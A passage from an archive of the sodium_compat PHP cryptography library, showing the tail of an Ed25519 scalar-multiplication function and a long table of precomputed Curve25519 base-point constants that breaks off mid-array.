0, 0, 0, 0, 0, 0, 1 ); /** @var array $Ai size 8 */ $Ai = array(); # ge_p3_to_cached(&Ai[0], A); $Ai[0] = self::ge_p3_to_cached($A); # ge_p3_dbl(&t, A); $t = self::ge_p3_dbl($A); # ge_p1p1_to_p3(&A2, &t); $A2 = self::ge_p1p1_to_p3($t); for ($i = 1; $i < 8; ++$i) { # ge_add(&t, &A2, &Ai[0]); $t = self::ge_add($A2, $Ai[$i - 1]); # ge_p1p1_to_p3(&u, &t); $u = self::ge_p1p1_to_p3($t); # ge_p3_to_cached(&Ai[i], &u); $Ai[$i] = self::ge_p3_to_cached($u); } $r = self::ge_p3_0(); for ($i = 252; $i >= 0; --$i) { $t = self::ge_p3_dbl($r); if ($aslide[$i] > 0) { # ge_p1p1_to_p3(&u, &t); $u = self::ge_p1p1_to_p3($t); # ge_add(&t, &u, &Ai[aslide[i] / 2]); $t = self::ge_add($u, $Ai[(int)($aslide[$i] / 2)]); } elseif ($aslide[$i] < 0) { # ge_p1p1_to_p3(&u, &t); $u = self::ge_p1p1_to_p3($t); # ge_sub(&t, &u, &Ai[(-aslide[i]) / 2]); $t = self::ge_sub($u, $Ai[(int)(-$aslide[$i] / 2)]); } } # ge_p1p1_to_p3(r, &t); return self::ge_p1p1_to_p3($t); } } sodium_compat/src/Core32/Curve25519/H.php000064400000324375147177035010013650 0ustar00>>> Basically, int[32][8][3][10] */ protected static $base = array( array( array( array(25967493, -14356035, 29566456, 3660896, -12694345, 4014787, 27544626, -11754271, -6079156, 2047605), array(-12545711, 934262, -2722910, 3049990, -727428, 9406986, 12720692, 5043384, 19500929, -15469378), array(-8738181, 4489570, 9688441, -14785194, 10184609, -12363380, 29287919, 11864899, -24514362, -4438546), ), array( array(-12815894, -12976347, -21581243, 11784320, -25355658, -2750717, -11717903, -3814571, -358445, -10211303), array(-21703237, 6903825, 27185491, 6451973, -29577724, -9554005, -15616551, 11189268, -26829678, -5319081), array(26966642, 11152617, 32442495, 15396054, 14353839, -12752335, -3128826, -9541118, -15472047, -4166697), ), array( array(15636291, -9688557, 24204773, -7912398, 616977, -16685262, 27787600, -14772189, 28944400, -1550024), array(16568933, 4717097, -11556148, -1102322, 15682896, -11807043, 16354577, -11775962, 7689662, 11199574), array(30464156, -5976125, -11779434, -15670865, 23220365, 15915852, 7512774, 10017326, -17749093, -9920357), ), array( array(-17036878, 13921892, 10945806, -6033431, 27105052, -16084379, -28926210, 15006023, 3284568, -6276540), array(23599295, -8306047, -11193664, -7687416, 13236774, 10506355, 7464579, 9656445, 13059162, 10374397), array(7798556, 16710257, 3033922, 2874086, 28997861, 2835604, 32406664, -3839045, -641708, -101325), ), array( array(10861363, 11473154, 27284546, 1981175, -30064349, 12577861, 32867885, 14515107, -15438304, 10819380), array(4708026, 6336745, 20377586, 9066809, -11272109, 6594696, -25653668, 12483688, -12668491, 5581306), array(19563160, 16186464, -29386857, 4097519, 10237984, -4348115, 28542350, 13850243, -23678021, -15815942), ), array( array(-15371964, -12862754, 32573250, 4720197, -26436522, 5875511, -19188627, -15224819, -9818940, -12085777), array(-8549212, 109983, 15149363, 2178705, 22900618, 4543417, 3044240, -15689887, 1762328, 14866737), array(-18199695, -15951423, -10473290, 1707278, -17185920, 3916101, -28236412, 3959421, 27914454, 4383652), ), array( array(5153746, 9909285, 1723747, -2777874, 30523605, 5516873, 19480852, 5230134, -23952439, -15175766), array(-30269007, -3463509, 7665486, 10083793, 28475525, 1649722, 20654025, 16520125, 30598449, 7715701), array(28881845, 14381568, 9657904, 3680757, -20181635, 7843316, -31400660, 1370708, 29794553, -1409300), ), array( array(14499471, -2729599, -33191113, -4254652, 28494862, 14271267, 30290735, 10876454, -33154098, 2381726), array(-7195431, -2655363, -14730155, 462251, -27724326, 3941372, -6236617, 3696005, -32300832, 15351955), array(27431194, 8222322, 16448760, -3907995, -18707002, 11938355, -32961401, -2970515, 29551813, 10109425), ), ), array( array( array(-13657040, -13155431, -31283750, 11777098, 21447386, 6519384, -2378284, -1627556, 10092783, -4764171), array(27939166, 14210322, 4677035, 16277044, -22964462, -12398139, -32508754, 12005538, -17810127, 12803510), array(17228999, -15661624, -1233527, 300140, -1224870, -11714777, 30364213, -9038194, 18016357, 4397660), ), array( array(-10958843, -7690207, 4776341, -14954238, 27850028, -15602212, -26619106, 14544525, -17477504, 982639), array(29253598, 15796703, -2863982, -9908884, 10057023, 3163536, 7332899, -4120128, -21047696, 9934963), array(5793303, 16271923, -24131614, -10116404, 29188560, 1206517, -14747930, 4559895, -30123922, -10897950), ), array( array(-27643952, -11493006, 16282657, -11036493, 28414021, -15012264, 24191034, 4541697, -13338309, 5500568), array(12650548, -1497113, 9052871, 11355358, -17680037, -8400164, -17430592, 12264343, 10874051, 13524335), array(25556948, -3045990, 714651, 2510400, 23394682, -10415330, 33119038, 5080568, -22528059, 5376628), ), array( array(-26088264, -4011052, -17013699, -3537628, -6726793, 1920897, -22321305, -9447443, 4535768, 1569007), array(-2255422, 14606630, -21692440, -8039818, 28430649, 8775819, -30494562, 3044290, 31848280, 12543772), array(-22028579, 2943893, -31857513, 6777306, 13784462, -4292203, -27377195, -2062731, 7718482, 14474653), ), array( array(2385315, 2454213, -22631320, 46603, -4437935, -15680415, 656965, -7236665, 24316168, -5253567), array(13741529, 10911568, -33233417, -8603737, -20177830, -1033297, 33040651, -13424532, -20729456, 8321686), array(21060490, -2212744, 15712757, -4336099, 1639040, 10656336, 23845965, -11874838, -9984458, 608372), ), array( array(-13672732, -15087586, -10889693, -7557059, -6036909, 11305547, 1123968, -6780577, 27229399, 23887), array(-23244140, -294205, -11744728, 14712571, -29465699, -2029617, 12797024, -6440308, -1633405, 16678954), array(-29500620, 4770662, -16054387, 14001338, 7830047, 9564805, -1508144, -4795045, -17169265, 4904953), ), array( array(24059557, 14617003, 19037157, -15039908, 19766093, -14906429, 5169211, 16191880, 2128236, -4326833), array(-16981152, 4124966, -8540610, -10653797, 30336522, -14105247, -29806336, 916033, -6882542, -2986532), array(-22630907, 12419372, -7134229, -7473371, -16478904, 16739175, 285431, 2763829, 15736322, 4143876), ), array( array(2379352, 11839345, -4110402, -5988665, 11274298, 794957, 212801, -14594663, 23527084, -16458268), array(33431127, -11130478, -17838966, -15626900, 8909499, 8376530, -32625340, 4087881, -15188911, -14416214), array(1767683, 7197987, -13205226, -2022635, -13091350, 448826, 5799055, 4357868, -4774191, -16323038), ), ), array( array( array(6721966, 13833823, -23523388, -1551314, 26354293, -11863321, 23365147, -3949732, 7390890, 2759800), array(4409041, 2052381, 23373853, 10530217, 7676779, -12885954, 21302353, -4264057, 1244380, -12919645), array(-4421239, 7169619, 4982368, -2957590, 30256825, -2777540, 14086413, 9208236, 15886429, 16489664), ), array( array(1996075, 10375649, 14346367, 13311202, -6874135, -16438411, -13693198, 398369, -30606455, -712933), array(-25307465, 9795880, -2777414, 14878809, -33531835, 14780363, 13348553, 12076947, -30836462, 5113182), array(-17770784, 11797796, 31950843, 13929123, -25888302, 12288344, -30341101, -7336386, 13847711, 5387222), ), array( array(-18582163, -3416217, 17824843, -2340966, 22744343, -10442611, 8763061, 3617786, -19600662, 10370991), array(20246567, -14369378, 22358229, -543712, 18507283, -10413996, 14554437, -8746092, 32232924, 16763880), array(9648505, 10094563, 26416693, 14745928, -30374318, -6472621, 11094161, 15689506, 3140038, -16510092), ), array( array(-16160072, 5472695, 31895588, 4744994, 8823515, 10365685, -27224800, 9448613, -28774454, 366295), array(19153450, 11523972, -11096490, -6503142, -24647631, 5420647, 28344573, 8041113, 719605, 11671788), array(8678025, 2694440, -6808014, 2517372, 4964326, 11152271, -15432916, -15266516, 27000813, -10195553), ), array( array(-15157904, 7134312, 8639287, -2814877, -7235688, 10421742, 564065, 5336097, 6750977, -14521026), array(11836410, -3979488, 26297894, 16080799, 23455045, 15735944, 1695823, -8819122, 8169720, 16220347), array(-18115838, 8653647, 17578566, -6092619, -8025777, -16012763, -11144307, -2627664, -5990708, -14166033), ), array( array(-23308498, -10968312, 15213228, -10081214, -30853605, -11050004, 27884329, 2847284, 2655861, 1738395), array(-27537433, -14253021, -25336301, -8002780, -9370762, 8129821, 21651608, -3239336, -19087449, -11005278), array(1533110, 3437855, 23735889, 459276, 29970501, 11335377, 26030092, 5821408, 10478196, 8544890), ), array( array(32173121, -16129311, 24896207, 3921497, 22579056, -3410854, 19270449, 12217473, 17789017, -3395995), array(-30552961, -2228401, -15578829, -10147201, 13243889, 517024, 15479401, -3853233, 30460520, 1052596), array(-11614875, 13323618, 32618793, 8175907, -15230173, 12596687, 27491595, -4612359, 3179268, -9478891), ), array( array(31947069, -14366651, -4640583, -15339921, -15125977, -6039709, -14756777, -16411740, 19072640, -9511060), array(11685058, 11822410, 3158003, -13952594, 33402194, -4165066, 5977896, -5215017, 473099, 5040608), array(-20290863, 8198642, -27410132, 11602123, 1290375, -2799760, 28326862, 1721092, -19558642, -3131606), ), ), array( array( array(7881532, 10687937, 7578723, 7738378, -18951012, -2553952, 21820786, 8076149, -27868496, 11538389), array(-19935666, 3899861, 18283497, -6801568, -15728660, -11249211, 8754525, 7446702, -5676054, 5797016), array(-11295600, -3793569, -15782110, -7964573, 12708869, -8456199, 2014099, -9050574, -2369172, -5877341), ), array( array(-22472376, -11568741, -27682020, 1146375, 18956691, 16640559, 1192730, -3714199, 15123619, 10811505), array(14352098, -3419715, -18942044, 10822655, 32750596, 4699007, -70363, 15776356, -28886779, -11974553), array(-28241164, -8072475, -4978962, -5315317, 29416931, 1847569, -20654173, -16484855, 4714547, -9600655), ), array( array(15200332, 8368572, 19679101, 15970074, -31872674, 1959451, 24611599, -4543832, -11745876, 12340220), array(12876937, -10480056, 33134381, 6590940, -6307776, 14872440, 9613953, 8241152, 15370987, 9608631), array(-4143277, -12014408, 8446281, -391603, 4407738, 13629032, -7724868, 15866074, -28210621, -8814099), ), array( array(26660628, -15677655, 8393734, 358047, -7401291, 992988, -23904233, 858697, 20571223, 8420556), array(14620715, 13067227, -15447274, 8264467, 14106269, 15080814, 33531827, 12516406, -21574435, -12476749), array(236881, 10476226, 57258, -14677024, 6472998, 2466984, 17258519, 7256740, 8791136, 15069930), ), array( array(1276410, -9371918, 22949635, -16322807, -23493039, -5702186, 14711875, 4874229, -30663140, -2331391), array(5855666, 4990204, -13711848, 7294284, -7804282, 1924647, -1423175, -7912378, -33069337, 9234253), array(20590503, -9018988, 31529744, -7352666, -2706834, 10650548, 31559055, -11609587, 18979186, 13396066), ), array( array(24474287, 4968103, 22267082, 4407354, 24063882, -8325180, -18816887, 13594782, 33514650, 7021958), array(-11566906, -6565505, -21365085, 15928892, -26158305, 4315421, -25948728, -3916677, -21480480, 12868082), array(-28635013, 13504661, 19988037, -2132761, 21078225, 6443208, -21446107, 2244500, -12455797, -8089383), ), array( array(-30595528, 13793479, -5852820, 319136, -25723172, -6263899, 33086546, 8957937, -15233648, 5540521), array(-11630176, -11503902, -8119500, -7643073, 2620056, 1022908, -23710744, -1568984, -16128528, -14962807), array(23152971, 775386, 27395463, 14006635, -9701118, 4649512, 1689819, 892185, -11513277, -15205948), ), array( array(9770129, 9586738, 26496094, 4324120, 1556511, -3550024, 27453819, 4763127, -19179614, 5867134), array(-32765025, 1927590, 31726409, -4753295, 23962434, -16019500, 27846559, 5931263, -29749703, -16108455), array(27461885, -2977536, 22380810, 1815854, -23033753, -3031938, 7283490, -15148073, -19526700, 7734629), ), ), array( array( array(-8010264, -9590817, -11120403, 6196038, 29344158, -13430885, 7585295, -3176626, 18549497, 15302069), array(-32658337, -6171222, -7672793, -11051681, 6258878, 13504381, 10458790, -6418461, -8872242, 8424746), array(24687205, 8613276, -30667046, -3233545, 1863892, -1830544, 19206234, 7134917, -11284482, -828919), ), array( array(11334899, -9218022, 8025293, 12707519, 17523892, -10476071, 10243738, -14685461, -5066034, 16498837), array(8911542, 6887158, -9584260, -6958590, 11145641, -9543680, 17303925, -14124238, 6536641, 10543906), array(-28946384, 15479763, -17466835, 568876, -1497683, 11223454, -2669190, -16625574, -27235709, 8876771), ), array( array(-25742899, -12566864, -15649966, -846607, -33026686, -796288, -33481822, 15824474, -604426, -9039817), array(10330056, 70051, 7957388, -9002667, 9764902, 15609756, 27698697, -4890037, 1657394, 3084098), array(10477963, -7470260, 12119566, -13250805, 29016247, -5365589, 31280319, 14396151, -30233575, 15272409), ), array( array(-12288309, 3169463, 28813183, 16658753, 25116432, -5630466, -25173957, -12636138, -25014757, 1950504), array(-26180358, 9489187, 11053416, -14746161, -31053720, 5825630, -8384306, -8767532, 15341279, 8373727), array(28685821, 7759505, -14378516, -12002860, -31971820, 4079242, 298136, -10232602, -2878207, 15190420), ), array( array(-32932876, 13806336, -14337485, -15794431, -24004620, 10940928, 8669718, 2742393, -26033313, -6875003), array(-1580388, -11729417, -25979658, -11445023, -17411874, -10912854, 9291594, -16247779, -12154742, 6048605), array(-30305315, 14843444, 1539301, 11864366, 20201677, 1900163, 13934231, 5128323, 11213262, 9168384), ), array( array(-26280513, 11007847, 19408960, -940758, -18592965, -4328580, -5088060, -11105150, 20470157, -16398701), array(-23136053, 9282192, 14855179, -15390078, -7362815, -14408560, -22783952, 14461608, 14042978, 5230683), array(29969567, -2741594, -16711867, -8552442, 9175486, -2468974, 21556951, 3506042, -5933891, -12449708), ), array( array(-3144746, 8744661, 19704003, 4581278, -20430686, 6830683, -21284170, 8971513, -28539189, 15326563), array(-19464629, 10110288, -17262528, -3503892, -23500387, 1355669, -15523050, 15300988, -20514118, 9168260), array(-5353335, 4488613, -23803248, 16314347, 7780487, -15638939, -28948358, 9601605, 33087103, -9011387), ), array( array(-19443170, -15512900, -20797467, -12445323, -29824447, 10229461, -27444329, -15000531, -5996870, 15664672), array(23294591, -16632613, -22650781, -8470978, 27844204, 11461195, 13099750, -2460356, 18151676, 13417686), array(-24722913, -4176517, -31150679, 5988919, -26858785, 6685065, 1661597, -12551441, 15271676, -15452665), ), ), array( array( array(11433042, -13228665, 8239631, -5279517, -1985436, -725718, -18698764, 2167544, -6921301, -13440182), array(-31436171, 15575146, 30436815, 12192228, -22463353, 9395379, -9917708, -8638997, 12215110, 12028277), array(14098400, 6555944, 23007258, 5757252, -15427832, -12950502, 30123440, 4617780, -16900089, -655628), ), array( array(-4026201, -15240835, 11893168, 13718664, -14809462, 1847385, -15819999, 10154009, 23973261, -12684474), array(-26531820, -3695990, -1908898, 2534301, -31870557, -16550355, 18341390, -11419951, 32013174, -10103539), array(-25479301, 10876443, -11771086, -14625140, -12369567, 1838104, 21911214, 6354752, 4425632, -837822), ), array( array(-10433389, -14612966, 22229858, -3091047, -13191166, 776729, -17415375, -12020462, 4725005, 14044970), array(19268650, -7304421, 1555349, 8692754, -21474059, -9910664, 6347390, -1411784, -19522291, -16109756), array(-24864089, 12986008, -10898878, -5558584, -11312371, -148526, 19541418, 8180106, 9282262, 10282508), ), array( array(-26205082, 4428547, -8661196, -13194263, 4098402, -14165257, 15522535, 8372215, 5542595, -10702683), array(-10562541, 14895633, 26814552, -16673850, -17480754, -2489360, -2781891, 6993761, -18093885, 10114655), array(-20107055, -929418, 31422704, 10427861, -7110749, 6150669, -29091755, -11529146, 25953725, -106158), ), array( array(-4234397, -8039292, -9119125, 3046000, 2101609, -12607294, 19390020, 6094296, -3315279, 12831125), array(-15998678, 7578152, 5310217, 14408357, -33548620, -224739, 31575954, 6326196, 7381791, -2421839), array(-20902779, 3296811, 24736065, -16328389, 18374254, 7318640, 6295303, 8082724, -15362489, 12339664), ), array( array(27724736, 2291157, 6088201, -14184798, 1792727, 5857634, 13848414, 15768922, 25091167, 14856294), array(-18866652, 8331043, 24373479, 8541013, -701998, -9269457, 12927300, -12695493, -22182473, -9012899), array(-11423429, -5421590, 11632845, 3405020, 30536730, -11674039, -27260765, 13866390, 30146206, 9142070), ), array( array(3924129, -15307516, -13817122, -10054960, 12291820, -668366, -27702774, 9326384, -8237858, 4171294), array(-15921940, 16037937, 6713787, 16606682, -21612135, 2790944, 26396185, 3731949, 345228, -5462949), array(-21327538, 13448259, 25284571, 1143661, 20614966, -8849387, 2031539, -12391231, -16253183, -13582083), ), array( array(31016211, -16722429, 26371392, -14451233, -5027349, 14854137, 17477601, 3842657, 28012650, -16405420), array(-5075835, 9368966, -8562079, -4600902, -15249953, 6970560, -9189873, 16292057, -8867157, 3507940), array(29439664, 3537914, 23333589, 6997794, -17555561, -11018068, -15209202, -15051267, -9164929, 6580396), ), ), array( array( array(-12185861, -7679788, 16438269, 10826160, -8696817, -6235611, 17860444, -9273846, -2095802, 9304567), array(20714564, -4336911, 29088195, 7406487, 11426967, -5095705, 14792667, -14608617, 5289421, -477127), array(-16665533, -10650790, -6160345, -13305760, 9192020, -1802462, 17271490, 12349094, 26939669, -3752294), ), array( array(-12889898, 9373458, 31595848, 16374215, 21471720, 13221525, -27283495, -12348559, -3698806, 117887), array(22263325, -6560050, 3984570, -11174646, -15114008, -566785, 28311253, 5358056, -23319780, 541964), array(16259219, 3261970, 2309254, -15534474, -16885711, -4581916, 24134070, -16705829, -13337066, -13552195), ), array( array(9378160, -13140186, -22845982, -12745264, 28198281, -7244098, -2399684, -717351, 690426, 14876244), array(24977353, -314384, -8223969, -13465086, 28432343, -1176353, -13068804, -12297348, -22380984, 6618999), array(-1538174, 11685646, 12944378, 13682314, -24389511, -14413193, 8044829, -13817328, 32239829, -5652762), ), array( array(-18603066, 4762990, -926250, 8885304, -28412480, -3187315, 9781647, -10350059, 32779359, 5095274), array(-33008130, -5214506, -32264887, -3685216, 9460461, -9327423, -24601656, 14506724, 21639561, -2630236), array(-16400943, -13112215, 25239338, 15531969, 3987758, -4499318, -1289502, -6863535, 17874574, 558605), ), array( array(-13600129, 10240081, 9171883, 16131053, -20869254, 9599700, 33499487, 5080151, 2085892, 5119761), array(-22205145, -2519528, -16381601, 414691, -25019550, 2170430, 30634760, -8363614, -31999993, -5759884), array(-6845704, 15791202, 8550074, -1312654, 29928809, -12092256, 27534430, -7192145, -22351378, 12961482), ), array( array(-24492060, -9570771, 10368194, 11582341, -23397293, -2245287, 16533930, 8206996, -30194652, -5159638), array(-11121496, -3382234, 2307366, 6362031, -135455, 8868177, -16835630, 7031275, 7589640, 8945490), array(-32152748, 8917967, 6661220, -11677616, -1192060, -15793393, 7251489, -11182180, 24099109, -14456170), ), array( array(5019558, -7907470, 4244127, -14714356, -26933272, 6453165, -19118182, -13289025, -6231896, -10280736), array(10853594, 10721687, 26480089, 5861829, -22995819, 1972175, -1866647, -10557898, -3363451, -6441124), array(-17002408, 5906790, 221599, -6563147, 7828208, -13248918, 24362661, -2008168, -13866408, 7421392), ), array( array(8139927, -6546497, 32257646, -5890546, 30375719, 1886181, -21175108, 15441252, 28826358, -4123029), array(6267086, 9695052, 7709135, -16603597, -32869068, -1886135, 14795160, -7840124, 13746021, -1742048), array(28584902, 7787108, -6732942, -15050729, 22846041, -7571236, -3181936, -363524, 4771362, -8419958), ), ), array( array( array(24949256, 6376279, -27466481, -8174608, -18646154, -9930606, 33543569, -12141695, 3569627, 11342593), array(26514989, 4740088, 27912651, 3697550, 19331575, -11472339, 6809886, 4608608, 7325975, -14801071), array(-11618399, -14554430, -24321212, 7655128, -1369274, 5214312, -27400540, 10258390, -17646694, -8186692), ), array( array(11431204, 15823007, 26570245, 14329124, 18029990, 4796082, -31446179, 15580664, 9280358, -3973687), array(-160783, -10326257, -22855316, -4304997, -20861367, -13621002, -32810901, -11181622, -15545091, 4387441), array(-20799378, 12194512, 3937617, -5805892, -27154820, 9340370, -24513992, 8548137, 20617071, -7482001), ), array( array(-938825, -3930586, -8714311, 16124718, 24603125, -6225393, -13775352, -11875822, 24345683, 10325460), array(-19855277, -1568885, -22202708, 8714034, 14007766, 6928528, 16318175, -1010689, 4766743, 3552007), array(-21751364, -16730916, 1351763, -803421, -4009670, 3950935, 3217514, 14481909, 10988822, -3994762), ), array( array(15564307, -14311570, 3101243, 5684148, 30446780, -8051356, 12677127, -6505343, -8295852, 13296005), array(-9442290, 6624296, -30298964, -11913677, -4670981, -2057379, 31521204, 9614054, -30000824, 12074674), array(4771191, -135239, 14290749, -13089852, 27992298, 14998318, -1413936, -1556716, 29832613, -16391035), ), array( array(7064884, -7541174, -19161962, -5067537, -18891269, -2912736, 25825242, 5293297, -27122660, 13101590), array(-2298563, 2439670, -7466610, 1719965, -27267541, -16328445, 32512469, -5317593, -30356070, -4190957), array(-30006540, 10162316, -33180176, 3981723, -16482138, -13070044, 14413974, 9515896, 19568978, 9628812), ), array( array(33053803, 199357, 15894591, 1583059, 27380243, -4580435, -17838894, -6106839, -6291786, 3437740), array(-18978877, 3884493, 19469877, 12726490, 15913552, 13614290, -22961733, 70104, 7463304, 4176122), array(-27124001, 10659917, 11482427, -16070381, 12771467, -6635117, -32719404, -5322751, 24216882, 5944158), ), array( array(8894125, 7450974, -2664149, -9765752, -28080517, -12389115, 19345746, 14680796, 11632993, 5847885), array(26942781, -2315317, 9129564, -4906607, 26024105, 11769399, -11518837, 6367194, -9727230, 4782140), array(19916461, -4828410, -22910704, -11414391, 25606324, -5972441, 33253853, 8220911, 6358847, -1873857), ), array( array(801428, -2081702, 16569428, 11065167, 29875704, 96627, 7908388, -4480480, -13538503, 1387155), array(19646058, 5720633, -11416706, 12814209, 11607948, 12749789, 14147075, 15156355, -21866831, 11835260), array(19299512, 1155910, 28703737, 14890794, 2925026, 7269399, 26121523, 15467869, -26560550, 5052483), ), ), array( array( array(-3017432, 10058206, 1980837, 3964243, 22160966, 12322533, -6431123, -12618185, 12228557, -7003677), array(32944382, 14922211, -22844894, 5188528, 21913450, -8719943, 4001465, 13238564, -6114803, 8653815), array(22865569, -4652735, 27603668, -12545395, 14348958, 8234005, 24808405, 5719875, 28483275, 2841751), ), array( array(-16420968, -1113305, -327719, -12107856, 21886282, -15552774, -1887966, -315658, 19932058, -12739203), array(-11656086, 10087521, -8864888, -5536143, -19278573, -3055912, 3999228, 13239134, -4777469, -13910208), array(1382174, -11694719, 17266790, 9194690, -13324356, 9720081, 20403944, 11284705, -14013818, 3093230), ), array( array(16650921, -11037932, -1064178, 1570629, -8329746, 7352753, -302424, 16271225, -24049421, -6691850), array(-21911077, -5927941, -4611316, -5560156, -31744103, -10785293, 24123614, 15193618, -21652117, -16739389), array(-9935934, -4289447, -25279823, 4372842, 2087473, 10399484, 31870908, 14690798, 17361620, 11864968), ), array( array(-11307610, 6210372, 13206574, 5806320, -29017692, -13967200, -12331205, -7486601, -25578460, -16240689), array(14668462, -12270235, 26039039, 15305210, 25515617, 4542480, 10453892, 6577524, 9145645, -6443880), array(5974874, 3053895, -9433049, -10385191, -31865124, 3225009, -7972642, 3936128, -5652273, -3050304), ), array( array(30625386, -4729400, -25555961, -12792866, -20484575, 7695099, 17097188, -16303496, -27999779, 1803632), array(-3553091, 9865099, -5228566, 4272701, -5673832, -16689700, 14911344, 12196514, -21405489, 7047412), array(20093277, 9920966, -11138194, -5343857, 13161587, 12044805, -32856851, 4124601, -32343828, -10257566), ), array( array(-20788824, 14084654, -13531713, 7842147, 19119038, -13822605, 4752377, -8714640, -21679658, 2288038), array(-26819236, -3283715, 29965059, 3039786, -14473765, 2540457, 29457502, 14625692, -24819617, 12570232), array(-1063558, -11551823, 16920318, 12494842, 1278292, -5869109, -21159943, -3498680, -11974704, 4724943), ), array( array(17960970, -11775534, -4140968, -9702530, -8876562, -1410617, -12907383, -8659932, -29576300, 1903856), array(23134274, -14279132, -10681997, -1611936, 20684485, 15770816, -12989750, 3190296, 26955097, 14109738), array(15308788, 5320727, -30113809, -14318877, 22902008, 7767164, 29425325, -11277562, 31960942, 11934971), ), array( array(-27395711, 8435796, 4109644, 12222639, -24627868, 14818669, 20638173, 4875028, 10491392, 1379718), array(-13159415, 9197841, 3875503, -8936108, -1383712, -5879801, 33518459, 16176658, 21432314, 12180697), array(-11787308, 11500838, 13787581, -13832590, -22430679, 10140205, 1465425, 12689540, -10301319, -13872883), ), ), array( array( array(5414091, -15386041, -21007664, 9643570, 12834970, 1186149, -2622916, -1342231, 26128231, 6032912), array(-26337395, -13766162, 32496025, -13653919, 17847801, -12669156, 3604025, 8316894, -25875034, -10437358), array(3296484, 6223048, 24680646, -12246460, -23052020, 5903205, -8862297, -4639164, 12376617, 3188849), ), array( array(29190488, -14659046, 27549113, -1183516, 3520066, -10697301, 32049515, -7309113, -16109234, -9852307), array(-14744486, -9309156, 735818, -598978, -20407687, -5057904, 25246078, -15795669, 18640741, -960977), array(-6928835, -16430795, 10361374, 5642961, 4910474, 12345252, -31638386, -494430, 10530747, 1053335), ), array( array(-29265967, -14186805, -13538216, -12117373, -19457059, -10655384, -31462369, -2948985, 24018831, 15026644), array(-22592535, -3145277, -2289276, 5953843, -13440189, 9425631, 25310643, 13003497, -2314791, -15145616), array(-27419985, -603321, -8043984, -1669117, -26092265, 13987819, -27297622, 187899, -23166419, -2531735), ), array( array(-21744398, -13810475, 1844840, 5021428, -10434399, -15911473, 9716667, 16266922, -5070217, 726099), array(29370922, -6053998, 7334071, -15342259, 9385287, 2247707, -13661962, -4839461, 30007388, -15823341), array(-936379, 16086691, 23751945, -543318, -1167538, -5189036, 9137109, 730663, 9835848, 4555336), ), array( array(-23376435, 1410446, -22253753, -12899614, 30867635, 15826977, 17693930, 544696, -11985298, 12422646), array(31117226, -12215734, -13502838, 6561947, -9876867, -12757670, -5118685, -4096706, 29120153, 13924425), array(-17400879, -14233209, 19675799, -2734756, -11006962, -5858820, -9383939, -11317700, 7240931, -237388), ), array( array(-31361739, -11346780, -15007447, -5856218, -22453340, -12152771, 1222336, 4389483, 3293637, -15551743), array(-16684801, -14444245, 11038544, 11054958, -13801175, -3338533, -24319580, 7733547, 12796905, -6335822), array(-8759414, -10817836, -25418864, 10783769, -30615557, -9746811, -28253339, 3647836, 3222231, -11160462), ), array( array(18606113, 1693100, -25448386, -15170272, 4112353, 10045021, 23603893, -2048234, -7550776, 2484985), array(9255317, -3131197, -12156162, -1004256, 13098013, -9214866, 16377220, -2102812, -19802075, -3034702), array(-22729289, 7496160, -5742199, 11329249, 19991973, -3347502, -31718148, 9936966, -30097688, -10618797), ), array( array(21878590, -5001297, 4338336, 13643897, -3036865, 13160960, 19708896, 5415497, -7360503, -4109293), array(27736861, 10103576, 12500508, 8502413, -3413016, -9633558, 10436918, -1550276, -23659143, -8132100), array(19492550, -12104365, -29681976, -852630, -3208171, 12403437, 30066266, 8367329, 13243957, 8709688), ), ), array( array( array(12015105, 2801261, 28198131, 10151021, 24818120, -4743133, -11194191, -5645734, 5150968, 7274186), array(2831366, -12492146, 1478975, 6122054, 23825128, -12733586, 31097299, 6083058, 31021603, -9793610), array(-2529932, -2229646, 445613, 10720828, -13849527, -11505937, -23507731, 16354465, 15067285, -14147707), ), array( array(7840942, 14037873, -33364863, 15934016, -728213, -3642706, 21403988, 1057586, -19379462, -12403220), array(915865, -16469274, 15608285, -8789130, -24357026, 6060030, -17371319, 8410997, -7220461, 16527025), array(32922597, -556987, 20336074, -16184568, 10903705, -5384487, 16957574, 52992, 23834301, 6588044), ), array( array(32752030, 11232950, 3381995, -8714866, 22652988, -10744103, 17159699, 16689107, -20314580, -1305992), array(-4689649, 9166776, -25710296, -10847306, 11576752, 12733943, 7924251, -2752281, 1976123, -7249027), array(21251222, 16309901, -2983015, -6783122, 30810597, 12967303, 156041, -3371252, 12331345, -8237197), ), array( array(8651614, -4477032, -16085636, -4996994, 13002507, 2950805, 29054427, -5106970, 10008136, -4667901), array(31486080, 15114593, -14261250, 12951354, 14369431, -7387845, 16347321, -13662089, 8684155, -10532952), array(19443825, 11385320, 24468943, -9659068, -23919258, 2187569, -26263207, -6086921, 31316348, 14219878), ), array( array(-28594490, 1193785, 32245219, 11392485, 31092169, 15722801, 27146014, 6992409, 29126555, 9207390), array(32382935, 1110093, 18477781, 11028262, -27411763, -7548111, -4980517, 10843782, -7957600, -14435730), array(2814918, 7836403, 27519878, -7868156, -20894015, -11553689, -21494559, 8550130, 28346258, 1994730), ), array( array(-19578299, 8085545, -14000519, -3948622, 2785838, -16231307, -19516951, 7174894, 22628102, 8115180), array(-30405132, 955511, -11133838, -15078069, -32447087, -13278079, -25651578, 3317160, -9943017, 930272), array(-15303681, -6833769, 28856490, 1357446, 23421993, 1057177, 24091212, -1388970, -22765376, -10650715), ), array( array(-22751231, -5303997, -12907607, -12768866, -15811511, -7797053, -14839018, -16554220, -1867018, 8398970), array(-31969310, 2106403, -4736360, 1362501, 12813763, 16200670, 22981545, -6291273, 18009408, -15772772), array(-17220923, -9545221, -27784654, 14166835, 29815394, 7444469, 29551787, -3727419, 19288549, 1325865), ), array( array(15100157, -15835752, -23923978, -1005098, -26450192, 15509408, 12376730, -3479146, 33166107, -8042750), array(20909231, 13023121, -9209752, 16251778, -5778415, -8094914, 12412151, 10018715, 2213263, -13878373), array(32529814, -11074689, 30361439, -16689753, -9135940, 1513226, 22922121, 6382134, -5766928, 8371348), ), ), array( array( array(9923462, 11271500, 12616794, 3544722, -29998368, -1721626, 12891687, -8193132, -26442943, 10486144), array(-22597207, -7012665, 8587003, -8257861, 4084309, -12970062, 361726, 2610596, -23921530, -11455195), array(5408411, -1136691, -4969122, 10561668, 24145918, 14240566, 31319731, -4235541, 19985175, -3436086), ), array( array(-13994457, 16616821, 14549246, 3341099, 32155958, 13648976, -17577068, 8849297, 65030, 8370684), array(-8320926, -12049626, 31204563, 5839400, -20627288, -1057277, -19442942, 6922164, 12743482, -9800518), array(-2361371, 12678785, 28815050, 4759974, -23893047, 4884717, 23783145, 11038569, 18800704, 255233), ), array( array(-5269658, -1773886, 13957886, 7990715, 23132995, 728773, 13393847, 9066957, 19258688, -14753793), array(-2936654, -10827535, 